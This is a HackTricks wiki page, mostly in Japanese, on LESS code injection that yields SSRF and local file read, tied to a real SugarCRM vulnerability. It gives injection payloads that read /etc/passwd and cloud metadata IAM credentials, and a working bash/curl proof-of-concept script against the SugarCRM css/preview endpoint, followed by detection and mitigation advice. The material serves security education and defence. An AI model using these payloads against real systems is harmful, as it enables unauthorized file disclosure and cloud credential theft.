LESS Code Injection leading to SSRF & Local File Read
Reading time: 6 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
概要
LESSは、変数、ミキシン、関数、強力な@import
ディレクティブを追加する人気のCSSプリプロセッサです。コンパイル中、LESSエンジンは@import
ステートメントで参照されたリソースを取得し、(inline)
オプションが使用されると、その内容を結果のCSSに埋め込みます。
アプリケーションがユーザー制御の入力をLESSコンパイラによって後で解析される文字列に連結する場合、攻撃者は任意のLESSコードを注入できます。@import (inline)
を悪用することで、攻撃者はサーバーに次のものを取得させることができます:
file://
プロトコルを介したローカルファイル(情報漏洩 / ローカルファイルインクルージョン)。- 内部ネットワークまたはクラウドメタデータサービス上のリモートリソース(SSRF)。
この技術は、SugarCRM ≤ 14.0.0(/rest/v10/css/preview
エンドポイント)などの実際の製品で見られました。
悪用
- LESSエンジンによって処理されるスタイルシート文字列に直接埋め込まれているパラメータを特定します(例:SugarCRMの
?lm=
)。 - 現在のステートメントを閉じ、新しいディレクティブを注入します。最も一般的なプリミティブは:
;
– 前の宣言を終了します。}
– 前のブロックを閉じます(必要に応じて)。
@import (inline) '<URL>';
を使用して任意のリソースを読み取ります。- オプションで、インポートの後にマーカー(
data:
URI)を注入して、コンパイルされたCSSから取得したコンテンツの抽出を容易にします。
ローカルファイル読み取り
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
/etc/passwd
の内容は、@@END@@
マーカーの直前にHTTPレスポンスに表示されます。
SSRF – クラウドメタデータ
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
自動化されたPoC(SugarCRMの例)
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
Detection
- 動的に生成された
.less
または.css
レスポンスに、サニタイズされていないクエリパラメータが含まれているかを確認します。 - コードレビュー中に、LESSレンダリング関数に渡される
"@media all { .preview { ... ${userInput} ... } }"
のような構文を探します。 - 攻撃の試みには、しばしば
@import
、(inline)
、file://
、http://169.254.169.254
などが含まれます。
Mitigations
- 信頼できないデータをLESSコンパイラに渡さないでください。
- 動的な値が必要な場合は、適切に エスケープ/サニタイズしてください(例:数値トークンに制限、ホワイトリスト)。
- 可能な場合は、
(inline)
インポートの使用を無効にするか、許可されるプロトコルをhttps
に制限してください。 - 依存関係を最新の状態に保ちます – SugarCRMはバージョン13.0.4および14.0.1でこの問題を修正しました。
Real-World Cases
Product | Vulnerable Endpoint | Impact |
---|---|---|
SugarCRM ≤ 14.0.0 | /rest/v10/css/preview?lm= | 認証されていないSSRFおよびローカルファイル読み取り |
References
- SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability
- SugarCRM Security Advisory SA-2024-059
- CVE-2024-58258
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。